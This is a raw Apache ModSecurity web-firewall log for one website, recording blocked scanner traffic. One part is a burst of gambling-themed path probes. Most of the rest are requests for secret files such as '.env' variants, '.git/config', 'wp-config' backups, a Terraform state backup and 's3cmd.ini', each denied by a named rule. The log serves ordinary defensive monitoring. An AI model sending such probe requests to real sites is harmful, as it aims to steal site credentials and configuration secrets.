[Fri May 01 18:33:54.672983 2026] [:error] [pid 24997:tid 25080] [client 62.84.185.69:25808] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20777.aspx"] [unique_id "afSBkvOkHa4ScY5oo8y4xgAAANg"]
[Fri May 01 18:33:57.231730 2026] [:error] [pid 25085:tid 25092] [client 62.84.185.69:14692] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20888.aspx"] [unique_id "afSBlfuD8fWRiE0RX0HwRQAAAUE"]
[Fri May 01 18:33:59.817568 2026] [:error] [pid 33791:tid 33796] [client 62.84.185.69:14706] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "afSBl29ixd-moLycM9DmtgAAAAI"]
[Fri May 01 18:34:02.445050 2026] [:error] [pid 33791:tid 33804] [client 62.84.185.69:14722] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "afSBmm9ixd-moLycM9DmuwAAAAo"]
[Fri May 01 18:34:05.183220 2026] [:error] [pid 24996:tid 25059] [client 62.84.185.69:14724] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "afSBnSDBq9mMfUWQQepIYAAAAJg"]
[Fri May 01 18:34:07.700960 2026] [:error] [pid 33791:tid 33803] [client 62.84.185.69:37264] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "afSBn29ixd-moLycM9DmxAAAAAk"]
[Fri May 01 18:34:10.278165 2026] [:error] [pid 24995:tid 25022] [client 62.84.185.69:37270] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "afSBoudJG9WB_Q_ne0ujUgAAAFc"]
[Fri May 01 18:34:12.826992 2026] [:error] [pid 33791:tid 33805] [client 62.84.185.69:37290] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "afSBpG9ixd-moLycM9Dm1AAAAAs"]
[Fri May 01 18:34:15.441137 2026] [:error] [pid 24997:tid 25058] [client 62.84.185.69:37304] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "afSBp_OkHa4ScY5oo8y43wAAAMQ"]
[Fri May 01 18:34:18.061017 2026] [:error] [pid 24997:tid 25076] [client 62.84.185.69:20396] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "afSBqvOkHa4ScY5oo8y44wAAANQ"]
[Fri May 01 18:34:20.704918 2026] [:error] [pid 24997:tid 25073] [client 62.84.185.69:20414] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "afSBrPOkHa4ScY5oo8y46QAAANE"]
[Fri May 01 18:34:23.330473 2026] [:error] [pid 24995:tid 25016] [client 62.84.185.69:20416] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "afSBr-dJG9WB_Q_ne0ujYAAAAFE"]
[Fri May 01 18:34:25.932312 2026] [:error] [pid 24996:tid 25057] [client 62.84.185.69:59104] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "afSBsSDBq9mMfUWQQepImAAAAJc"]
[Fri May 01 18:34:28.463437 2026] [:error] [pid 24995:tid 25019] [client 62.84.185.69:59126] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "afSBtOdJG9WB_Q_ne0ujZwAAAFQ"]
[Fri May 01 18:34:31.187827 2026] [:error] [pid 25085:tid 25101] [client 62.84.185.69:59138] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "afSBt_uD8fWRiE0RX0HwZgAAAUo"]
[Fri May 01 18:34:33.780299 2026] [:error] [pid 24997:tid 25065] [client 62.84.185.69:59148] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "afSBufOkHa4ScY5oo8y4_QAAAMk"]
[Fri May 01 18:34:36.554504 2026] [:error] [pid 24997:tid 25070] [client 62.84.185.69:34824] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "afSBvPOkHa4ScY5oo8y5AQAAAM4"]
[Fri May 01 18:35:06.021560 2026] [:error] [pid 24996:tid 25043] [client 62.84.185.69:38140] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "afSB2iDBq9mMfUWQQepItAAAAI4"]
[Fri May 01 18:35:08.627298 2026] [:error] [pid 25085:tid 25091] [client 62.84.185.69:38154] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "afSB3PuD8fWRiE0RX0HwgQAAAUA"]
[Fri May 01 18:35:11.245771 2026] [:error] [pid 33791:tid 33799] [client 62.84.185.69:38178] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "afSB329ixd-moLycM9DnMQAAAAU"]
[Fri May 01 18:35:13.783114 2026] [:error] [pid 24996:tid 25049] [client 62.84.185.69:38184] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "afSB4SDBq9mMfUWQQepIvAAAAJM"]
[Fri May 01 18:35:16.414430 2026] [:error] [pid 24997:tid 25079] [client 62.84.185.69:7564] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20168.aspx"] [unique_id "afSB5POkHa4ScY5oo8y5JwAAANc"]
[Fri May 01 18:35:19.196807 2026] [:error] [pid 24997:tid 25070] [client 62.84.185.69:7570] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "afSB5_OkHa4ScY5oo8y5LgAAAM4"]
[Fri May 01 18:35:21.663807 2026] [:error] [pid 33791:tid 33809] [client 62.84.185.69:7588] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "afSB6W9ixd-moLycM9DnOAAAAA8"]
[Fri May 01 18:35:24.272335 2026] [:error] [pid 25085:tid 25109] [client 62.84.185.69:7596] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "afSB7PuD8fWRiE0RX0HwjwAAAVI"]
[Fri May 01 18:35:27.045180 2026] [:error] [pid 24996:tid 25031] [client 62.84.185.69:44478] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "afSB7yDBq9mMfUWQQepIwAAAAIM"]
[Fri May 01 18:35:31.170782 2026] [:error] [pid 33791:tid 33810] [client 62.84.185.69:44504] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "afSB829ixd-moLycM9DnRgAAABA"]
[Fri May 01 18:35:33.763540 2026] [:error] [pid 24995:tid 25001] [client 62.84.185.69:44516] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "afSB9edJG9WB_Q_ne0ujnAAAAEI"]
[Fri May 01 18:35:36.381848 2026] [:error] [pid 24997:tid 25080] [client 62.84.185.69:51336] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "afSB-POkHa4ScY5oo8y5PQAAANg"]
[Fri May 01 18:35:39.041211 2026] [:error] [pid 24997:tid 25077] [client 62.84.185.69:51352] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "afSB-_OkHa4ScY5oo8y5QgAAANU"]
[Fri May 01 18:35:41.841454 2026] [:error] [pid 33791:tid 33802] [client 62.84.185.69:51374] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "afSB_W9ixd-moLycM9DnWQAAAAg"]
[Fri May 01 18:35:44.235674 2026] [:error] [pid 24997:tid 25080] [client 62.84.185.69:51384] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "afSCAPOkHa4ScY5oo8y5RgAAANg"]
[Fri May 01 18:35:46.905836 2026] [:error] [pid 25085:tid 25093] [client 62.84.185.69:64360] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "afSCAvuD8fWRiE0RX0HwnQAAAUI"]
[Fri May 01 18:35:49.595840 2026] [:error] [pid 24997:tid 25065] [client 62.84.185.69:64392] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "afSCBfOkHa4ScY5oo8y5TQAAAMk"]
[Fri May 01 18:35:52.213302 2026] [:error] [pid 25085:tid 25091] [client 62.84.185.69:64394] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "afSCCPuD8fWRiE0RX0HwpgAAAUA"]
[Fri May 01 18:35:54.914991 2026] [:error] [pid 33791:tid 33799] [client 62.84.185.69:64420] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "afSCCm9ixd-moLycM9DnYgAAAAU"]
[Fri May 01 18:35:57.707948 2026] [:error] [pid 33791:tid 33814] [client 62.84.185.69:26698] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w69%20slot.aspx"] [unique_id "afSCDW9ixd-moLycM9DnZwAAABQ"]
[Fri May 01 18:36:00.415984 2026] [:error] [pid 33791:tid 33811] [client 62.84.185.69:26720] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "afSCEG9ixd-moLycM9DnagAAABE"]
[Fri May 01 19:59:06.579449 2026] [:error] [pid 25085:tid 25103] [client 170.106.181.163:46284] [client 170.106.181.163] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "afSVivuD8fWRiE0RX0EB7wAAAUw"]
[Fri May 01 20:11:51.983223 2026] [:error] [pid 24997:tid 25070] [client 172.245.214.59:46358] [client 172.245.214.59] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.bak" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/wp-config.bak"] [unique_id "afSYh_OkHa4ScY5oo8zSiQAAAM4"]
[Fri May 01 20:11:51.983309 2026] [:error] [pid 24997:tid 25060] [client 172.245.214.59:46180] [client 172.245.214.59] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.backup"] [unique_id "afSYh_OkHa4ScY5oo8zSigAAAMU"]
[Fri May 01 20:11:51.985568 2026] [:error] [pid 24997:tid 25077] [client 172.245.214.59:46138] [client 172.245.214.59] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env"] [unique_id "afSYh_OkHa4ScY5oo8zSiwAAANU"]
[Fri May 01 20:11:54.459374 2026] [:error] [pid 24996:tid 25030] [client 172.245.214.59:46252] [client 172.245.214.59] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/config"] [unique_id "afSYiiDBq9mMfUWQQepZPQAAAII"]
[Fri May 01 20:11:54.459379 2026] [:error] [pid 24997:tid 25068] [client 172.245.214.59:46142] [client 172.245.214.59] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.local"] [unique_id "afSYivOkHa4ScY5oo8zSkAAAAMw"]
[Fri May 01 20:11:54.459399 2026] [:error] [pid 24997:tid 25064] [client 172.245.214.59:46162] [client 172.245.214.59] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.bak"] [unique_id "afSYivOkHa4ScY5oo8zSjwAAAMg"]
[Fri May 01 20:11:54.459801 2026] [:error] [pid 24996:tid 25055] [client 172.245.214.59:46218] [client 172.245.214.59] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/app/.env"] [unique_id "afSYiiDBq9mMfUWQQepZPgAAAJY"]
[Fri May 01 20:11:54.460939 2026] [:error] [pid 33791:tid 33803] [client 172.245.214.59:46202] [client 172.245.214.59] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.example"] [unique_id "afSYim9ixd-moLycM9AK6QAAAAk"]
[Fri May 01 20:11:54.461293 2026] [:error] [pid 25085:tid 25109] [client 172.245.214.59:46242] [client 172.245.214.59] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/public/.env"] [unique_id "afSYivuD8fWRiE0RX0EEgAAAAVI"]
[Fri May 01 20:11:54.461574 2026] [:error] [pid 24997:tid 25062] [client 172.245.214.59:46156] [client 172.245.214.59] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.production"] [unique_id "afSYivOkHa4ScY5oo8zSkQAAAMY"]
[Fri May 01 20:11:54.471875 2026] [:error] [pid 24997:tid 25076] [client 172.245.214.59:46232] [client 172.245.214.59] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/api/.env"] [unique_id "afSYivOkHa4ScY5oo8zSkgAAANQ"]
[Fri May 01 20:11:54.652395 2026] [:error] [pid 25085:tid 25103] [client 172.245.214.59:46250] [client 172.245.214.59] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/backend/.env"] [unique_id "afSYivuD8fWRiE0RX0EEgwAAAUw"]
[Fri May 01 20:11:54.654117 2026] [:error] [pid 24997:tid 25075] [client 172.245.214.59:46186] [client 172.245.214.59] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.production.bak"] [unique_id "afSYivOkHa4ScY5oo8zSlgAAANM"]
[Fri May 01 20:11:54.664814 2026] [:error] [pid 25085:tid 25113] [client 172.245.214.59:46344] [client 172.245.214.59] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||vetstars.com.au|F|2"] [data ".tfstate.backup"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "vetstars.com.au"] [uri "/terraform.tfstate.backup"] [unique_id "afSYivuD8fWRiE0RX0EEhQAAAVY"]
[Fri May 01 20:11:54.685543 2026] [:error] [pid 25085:tid 25112] [client 172.245.214.59:46368] [client 172.245.214.59] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/wp-config.php~"] [unique_id "afSYivuD8fWRiE0RX0EEhwAAAVU"]
[Fri May 01 20:12:51.701355 2026] [:error] [pid 33791:tid 33800] [client 209.50.190.117:44355] [client 209.50.190.117] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||vetstars.com.au|F|2"] [data ".ini"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "vetstars.com.au"] [uri "/s3cmd.ini"] [unique_id "afSYw29ixd-moLycM9ALEgAAAAY"]
